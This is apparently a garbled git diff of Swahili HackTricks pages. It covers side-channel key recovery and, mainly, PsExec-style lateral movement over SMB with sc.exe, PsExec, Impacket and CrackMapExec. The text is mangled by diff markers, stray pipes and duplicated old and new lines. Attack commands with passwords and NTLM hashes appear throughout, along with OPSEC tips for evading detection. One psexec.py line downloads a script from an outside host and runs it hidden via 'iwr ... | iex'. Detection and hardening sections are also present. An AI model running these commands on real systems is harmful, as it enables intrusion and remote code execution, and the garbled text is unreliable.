* 2024 "iLeakKeys" ilionyesha usahihi wa 95 % katika kurejesha funguo za laptop kutoka kwa **kipaza sauti cha simu ya mkononi kupitia Zoom** kwa kutumia mcheza daraja wa CNN.
|
||||
* Photodiodes za kasi ya juu zinakamata shughuli za DDR4 LED na kujenga funguo za raundi za AES ndani ya <1 dakika (BlackHat 2023).
|
||||
|
||||
---
|
||||
|
||||
## Uingizaji wa Makosa & Uchambuzi wa Makosa ya Tofauti (DFA)
|
||||
Kuunganisha makosa na uvujaji wa upande wa channel kunarahisisha utafutaji wa funguo (kwa mfano, 1-trace AES DFA). Zana za hivi karibuni zenye bei ya hobbyist:
|
||||
Kuunganisha makosa na uvujaji wa upande wa channel kunarahisisha utafutaji wa funguo (mfano 1-trace AES DFA). Zana za hivi karibuni za bei ya hobbi:
|
||||
* **ChipSHOUTER & PicoEMP** – glitching ya pulse ya electromagnetic chini ya 1 ns.
|
||||
* **GlitchKit-R5 (2025)** – jukwaa la glitch la saa/voltage la chanzo wazi linalounga mkono RISC-V SoCs.
|
||||
|
||||
---
|
||||
|
||||
## Mchakato wa Kawaida wa Shambulizi
|
||||
1. Tambua channel ya uvujaji & mahali pa kuingilia (pin ya VCC, capacitor ya decoupling, spot ya karibu).
|
||||
1. Tambua channel ya uvujaji & mahali pa kuingiza (pin ya VCC, capacitor ya decoupling, spot ya karibu).
|
||||
2. Ingiza kichocheo (GPIO au msingi wa muundo).
|
||||
3. Kusanya >1 k traces kwa sampuli sahihi/filter.
|
||||
3. Kusanya >1 k traces kwa sampuli sahihi/filters.
|
||||
4. Pre-process (mwelekeo, kuondoa wastani, LP/HP filter, wavelet, PCA).
|
||||
5. Urejeleaji wa funguo wa takwimu au ML (CPA, MIA, DL-SCA).
|
||||
6. Thibitisha na rudia kwenye outliers.
|
||||
@ -86,18 +82,18 @@ Kuunganisha makosa na uvujaji wa upande wa channel kunarahisisha utafutaji wa fu
|
||||
|
||||
## Ulinzi & Kuimarisha
|
||||
* **Mtekelezaji wa wakati thabiti** & algorithimu ngumu za kumbukumbu.
|
||||
* **Masking/shuffling** – gawanya siri katika sehemu za nasibu; upinzani wa kiwango cha kwanza umeidhinishwa na TVLA.
|
||||
* **Kuficha** – regulators za voltage kwenye chip, saa za nasibu, mantiki ya dual-rail, kinga za EM.
|
||||
* **Ugunduzi wa makosa** – hesabu za ziada, saini za kigezo.
|
||||
* **Kuficha/kuchanganya** – gawanya siri katika sehemu za nasibu; upinzani wa kiwango cha kwanza umeidhinishwa na TVLA.
|
||||
* **Kuficha** – wasimamizi wa voltage kwenye chip, saa za nasibu, mantiki ya reli mbili, kinga za EM.
|
||||
* **Ugunduzi wa makosa** – hesabu ya ziada, saini za kigezo.
|
||||
* **Kazi** – zima DVFS/turbo katika nyuzi za crypto, tengeneza SMT, kataza ushirikiano katika mawingu ya wapangaji wengi.
|
||||
|
||||
---
|
||||
|
||||
## Zana & Mifumo
|
||||
* **ChipWhisperer-Husky** (2024) – 500 MS/s scope + Cortex-M trigger; Python API kama ilivyo hapo juu.
|
||||
* **ChipWhisperer-Husky** (2024) – 500 MS/s scope + Cortex-M trigger; Python API kama hapo juu.
|
||||
* **Riscure Inspector & FI** – kibiashara, inasaidia tathmini ya uvujaji wa kiotomatiki (TVLA-2.0).
|
||||
* **scaaml** – maktaba ya deep-learning SCA inayotumia TensorFlow (v1.2 – 2025).
|
||||
* **pyecsca** – mfumo wa ECC SCA wa chanzo wazi wa ANSSI.
|
||||
* **pyecsca** – mfumo wa wazi wa ECC SCA wa ANSSI.
|
||||
|
||||
---
|
||||
|
||||
|
@ -7,16 +7,16 @@
|
||||
Mbinu hizi zinatumia Windows Service Control Manager (SCM) kwa mbali kupitia SMB/RPC ili kutekeleza amri kwenye mwenyeji wa lengo. Mchakato wa kawaida ni:
|
||||
|
||||
1. Thibitisha kwenye lengo na upate ADMIN$ share kupitia SMB (TCP/445).
|
||||
2. Nakili executable au eleza amri ya LOLBAS ambayo huduma itakimbia.
|
||||
3. Unda huduma kwa mbali kupitia SCM (MS-SCMR kupitia \PIPE\svcctl) ikielekeza kwenye amri hiyo au binary.
|
||||
4. Anza huduma ili kutekeleza payload na kwa hiari kukamata stdin/stdout kupitia bomba lililotajwa.
|
||||
2. Nakili executable au eleza mstari wa amri wa LOLBAS ambao huduma itatekeleza.
|
||||
3. Unda huduma kwa mbali kupitia SCM (MS-SCMR juu ya \PIPE\svcctl) ikielekeza kwenye amri hiyo au binary.
|
||||
4. Anza huduma ili kutekeleza payload na kwa hiari kukamata stdin/stdout kupitia bomba lililopewa jina.
|
||||
5. Simamisha huduma na safisha (futa huduma na binaries zozote zilizotolewa).
|
||||
|
||||
Requirements/prereqs:
|
||||
- Msimamizi wa Mitaa kwenye lengo (SeCreateServicePrivilege) au haki maalum za uundaji wa huduma kwenye lengo.
|
||||
- SMB (445) inapatikana na ADMIN$ share inapatikana; Usimamizi wa Huduma za Mbali unaruhusiwa kupitia firewall ya mwenyeji.
|
||||
- UAC Remote Restrictions: kwa akaunti za ndani, kuchuja token kunaweza kuzuia msimamizi kwenye mtandao isipokuwa ukitumia Msimamizi aliyejengwa au LocalAccountTokenFilterPolicy=1.
|
||||
- Kerberos dhidi ya NTLM: kutumia jina la mwenyeji/FQDN kunaruhusu Kerberos; kuungana kwa IP mara nyingi hurudi nyuma kwa NTLM (na inaweza kuzuia katika mazingira yaliyolindwa).
|
||||
- Kerberos vs NTLM: kutumia jina la mwenyeji/FQDN kunaruhusu Kerberos; kuungana kwa IP mara nyingi hurudi nyuma kwa NTLM (na inaweza kuzuia katika mazingira yaliyolindwa).
|
||||
|
||||
### Manual ScExec/WinExec via sc.exe
|
||||
|
||||
@ -34,8 +34,8 @@ sc.exe \\TARGET start HTSvc
|
||||
sc.exe \\TARGET delete HTSvc
|
||||
```
|
||||
Notes:
|
||||
- Tarajia makosa ya muda unapozindua EXE isiyo ya huduma; utekelezaji bado unafanyika.
|
||||
- Ili kubaki rafiki zaidi kwa OPSEC, pendelea amri zisizo na faili (cmd /c, powershell -enc) au futa vitu vilivyotolewa.
|
||||
- Tarajia kosa la muda unapozindua EXE isiyo ya huduma; utekelezaji bado unafanyika.
|
||||
- Ili kubaki na urafiki zaidi wa OPSEC, pendelea amri zisizo na faili (cmd /c, powershell -enc) au futa vitu vilivyotolewa.
|
||||
|
||||
Find more detailed steps in: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
|
||||
|
||||
@ -43,7 +43,7 @@ Find more detailed steps in: https://blog.ropnop.com/using-credentials-to-own-wi
|
||||
|
||||
### Sysinternals PsExec.exe
|
||||
|
||||
- Kifaa cha jadi cha admin kinachotumia SMB kuweka PSEXESVC.exe katika ADMIN$, kinaweka huduma ya muda (jina la default PSEXESVC), na kuhamasisha I/O kupitia bomba zenye majina.
|
||||
- Kifaa cha jadi cha admin kinachotumia SMB kuweka PSEXESVC.exe katika ADMIN$, kinaweka huduma ya muda (jina la kawaida PSEXESVC), na kuhamasisha I/O kupitia bomba zenye majina.
|
||||
- Mfano wa matumizi:
|
||||
```cmd
|
||||
:: Interactive SYSTEM shell on remote host
|
||||
@ -60,11 +60,11 @@ PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
||||
```
|
||||
OPSEC
|
||||
- Acha matukio ya kufunga/kufuta huduma (Jina la huduma mara nyingi ni PSEXESVC isipokuwa -r itumike) na kuunda C:\Windows\PSEXESVC.exe wakati wa utekelezaji.
|
||||
- Acha matukio ya kufunga/kufuta huduma (Jina la huduma mara nyingi ni PSEXESVC isipokuwa -r inatumika) na kuunda C:\Windows\PSEXESVC.exe wakati wa utekelezaji.
|
||||
|
||||
### Impacket psexec.py (Kama PsExec)
|
||||
|
||||
- Inatumia huduma iliyojumuishwa kama RemCom. Inatua faili ya huduma ya muda (jina mara nyingi limepangwa) kupitia ADMIN$, inaunda huduma (kawaida ni RemComSvc), na inasimamia I/O kupitia bomba lililopewa jina.
|
||||
- Inatumia huduma iliyojumuishwa kama RemCom. Inatua faili ya huduma ya muda (jina mara nyingi limepangwa) kupitia ADMIN$, inaunda huduma (kawaida RemComSvc), na inasimamia I/O kupitia bomba lililotajwa.
|
||||
```bash
|
||||
# Password auth
|
||||
psexec.py DOMAIN/user:Password@HOST cmd.exe
|
||||
@ -79,7 +79,7 @@ psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
|
||||
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
||||
```
|
||||
Artifacts
|
||||
- EXE ya muda katika C:\Windows\ (herufi 8 za nasibu). Jina la huduma linakuwa RemComSvc isipokuwa likabadilishwa.
|
||||
- EXE ya muda katika C:\Windows\ (herufi 8 za nasibu). Jina la huduma linakuwa RemComSvc isipokuwa litakapobadilishwa.
|
||||
|
||||
### Impacket smbexec.py (SMBExec)
|
||||
|
||||
@ -104,47 +104,50 @@ SharpMove.exe action=startservice computername=remote.host.local servicename=Tes
|
||||
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
|
||||
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
|
||||
```
|
||||
## OPSEC, kugundua na artefakti
|
||||
## OPSEC, detection and artifacts
|
||||
|
||||
Artefakti za kawaida za mwenyeji/mtandao wakati wa kutumia mbinu kama PsExec:
|
||||
Vifaa vya kawaida vya mwenyeji/mtandao unapokuwa unatumia mbinu kama PsExec:
|
||||
- Usalama 4624 (Aina ya Logon 3) na 4672 (Privileji Maalum) kwenye lengo kwa akaunti ya admin iliyotumika.
|
||||
- Usalama 5140/5145 Matukio ya Kushiriki Faili na Maelezo ya Kushiriki Faili yanaonyesha ufikiaji wa ADMIN$ na kuunda/kandika binaries za huduma (mfano, PSEXESVC.exe au .exe ya herufi 8 zisizo na mpangilio).
|
||||
- Usalama 5140/5145 Matukio ya Kushiriki Faili na Maelezo ya Kushiriki Faili yanaonyesha ufikiaji wa ADMIN$ na kuunda/kandika binaries za huduma (mfano, PSEXESVC.exe au .exe ya herufi 8 za nasibu).
|
||||
- Usalama 7045 Usakinishaji wa Huduma kwenye lengo: majina ya huduma kama PSEXESVC, RemComSvc, au desturi (-r / -service-name).
|
||||
- Sysmon 1 (Kuunda Mchakato) kwa services.exe au picha ya huduma, 3 (Kuunganisha Mtandao), 11 (Kuunda Faili) katika C:\Windows\, 17/18 (Pipa Iliyoundwa/Iliyounganishwa) kwa pipa kama \\.\pipe\psexesvc, \\.\pipe\remcom_*, au sawa zisizo na mpangilio.
|
||||
- Artefakti ya Registry kwa Sysinternals EULA: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 kwenye mwenyeji wa opereta (ikiwa haijakandamizwa).
|
||||
- Sysmon 1 (Kuunda Mchakato) kwa services.exe au picha ya huduma, 3 (Kuunganisha Mtandao), 11 (Kuunda Faili) katika C:\Windows\, 17/18 (Pipa Iliyoundwa/Iliyounganishwa) kwa pipa kama \\.\pipe\psexesvc, \\.\pipe\remcom_*, au sawa za nasibu.
|
||||
- Kifaa cha Registry kwa Sysinternals EULA: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 kwenye mwenyeji wa opereta (ikiwa hakijakandamizwa).
|
||||
|
||||
Mawazo ya uwindaji
|
||||
- Onyo juu ya usakinishaji wa huduma ambapo ImagePath inajumuisha cmd.exe /c, powershell.exe, au maeneo ya TEMP.
|
||||
- Tafuta uundaji wa mchakato ambapo ParentImage ni C:\Windows\PSEXESVC.exe au watoto wa services.exe wakifanya kazi kama LOCAL SYSTEM wakitekeleza shells.
|
||||
- Alama pipa zenye majina yanayomalizika na -stdin/-stdout/-stderr au majina maarufu ya pipa ya nakala ya PsExec.
|
||||
- Alama pipa zenye jina zinazomalizika na -stdin/-stdout/-stderr au majina maarufu ya pipa ya nakala ya PsExec.
|
||||
|
||||
## Kutatua matatizo ya kawaida
|
||||
- Ufikiaji umekataliwa (5) wakati wa kuunda huduma: si kweli admin wa ndani, vizuizi vya UAC kwa akaunti za ndani, au ulinzi wa kuingilia kati wa EDR kwenye njia ya binary ya huduma.
|
||||
## Troubleshooting common failures
|
||||
- Ufikiaji umekataliwa (5) unapokuwa unaunda huduma: si kweli admin wa ndani, vizuizi vya UAC kwa akaunti za ndani, au ulinzi wa kuingilia EDR kwenye njia ya binary ya huduma.
|
||||
- Njia ya mtandao haikupatikana (53) au haikuweza kuungana na ADMIN$: firewall inazuia SMB/RPC au kushiriki kwa admin kumekataliwa.
|
||||
- Kerberos inashindwa lakini NTLM imezuiwa: ungana kwa kutumia jina la mwenyeji/FQDN (sio IP), hakikisha SPNs sahihi, au toa -k/-no-pass na tiketi unapotumia Impacket.
|
||||
- Muda wa kuanzisha huduma unakosa lakini payload ilikimbia: inatarajiwa ikiwa si binary halisi ya huduma; kamata matokeo kwenye faili au tumia smbexec kwa I/O ya moja kwa moja.
|
||||
- Kerberos inashindwa lakini NTLM imezuiwa: ungana kwa kutumia jina la mwenyeji/FQDN (sio IP), hakikisha SPNs sahihi, au toa -k/-no-pass na tiketi unapokuwa unatumia Impacket.
|
||||
- Muda wa kuanzisha huduma unakosa lakini payload ilikimbia: inatarajiwa ikiwa si binary halisi ya huduma; capture output kwenye faili au tumia smbexec kwa I/O ya moja kwa moja.
|
||||
|
||||
## Maelezo ya kuimarisha (mabadiliko ya kisasa)
|
||||
- Windows 11 24H2 na Windows Server 2025 zinahitaji usajili wa SMB kwa default kwa muunganisho wa nje (na Windows 11 wa ndani). Hii haivunji matumizi halali ya PsExec na akreditif sahihi lakini inazuia matumizi mabaya ya SMB relay yasiyo na saini na inaweza kuathiri vifaa ambavyo havisaidii usajili.
|
||||
- Mteja mpya wa SMB kuzuia NTLM (Windows 11 24H2/Server 2025) kunaweza kuzuia kurudi nyuma kwa NTLM unapotumia IP au kuungana na seva zisizo za Kerberos. Katika mazingira yaliyoimarishwa hii itavunja PsExec/SMBExec inayotegemea NTLM; tumia Kerberos (jina la mwenyeji/FQDN) au tengeneza visamehe ikiwa inahitajika kwa halali.
|
||||
## Hardening notes
|
||||
- Windows 11 24H2 na Windows Server 2025 zinahitaji kusaini SMB kwa default kwa muunganisho wa outbound (na Windows 11 inbound). Hii haivunji matumizi halali ya PsExec na creds halali lakini inazuia matumizi mabaya ya SMB relay yasiyo na saini na inaweza kuathiri vifaa ambavyo havisaidii kusaini.
|
||||
- Mteja mpya wa SMB kuzuia NTLM (Windows 11 24H2/Server 2025) kunaweza kuzuia kurudi nyuma kwa NTLM unapoungana kwa IP au kwa seva zisizo za Kerberos. Katika mazingira yaliyohaririwa hii itavunja PsExec/SMBExec inayotegemea NTLM; tumia Kerberos (jina la mwenyeji/FQDN) au weka visamehe ikiwa inahitajika kwa halali.
|
||||
- Kanuni ya haki ndogo: punguza uanachama wa admin wa ndani, pendelea Just-in-Time/Just-Enough Admin, enforce LAPS, na fuatilia/onja juu ya usakinishaji wa huduma 7045.
|
||||
|
||||
## Tazama pia
|
||||
## See also
|
||||
|
||||
- WMI-based remote exec (mara nyingi zaidi bila faili):
|
||||
|
||||
{{#ref}}
|
||||
./wmiexec.md
|
||||
{{#endref}}
|
||||
|
||||
- WinRM-based remote exec:
|
||||
|
||||
{{#ref}}
|
||||
./winrm.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Marejeleo
|
||||
## References
|
||||
|
||||
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
||||
- Kuimarisha usalama wa SMB katika Windows Server 2025 & Windows 11 (usajili kwa default, kuzuia NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||
- SMB security hardening in Windows Server 2025 & Windows 11 (signing by default, NTLM blocking): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user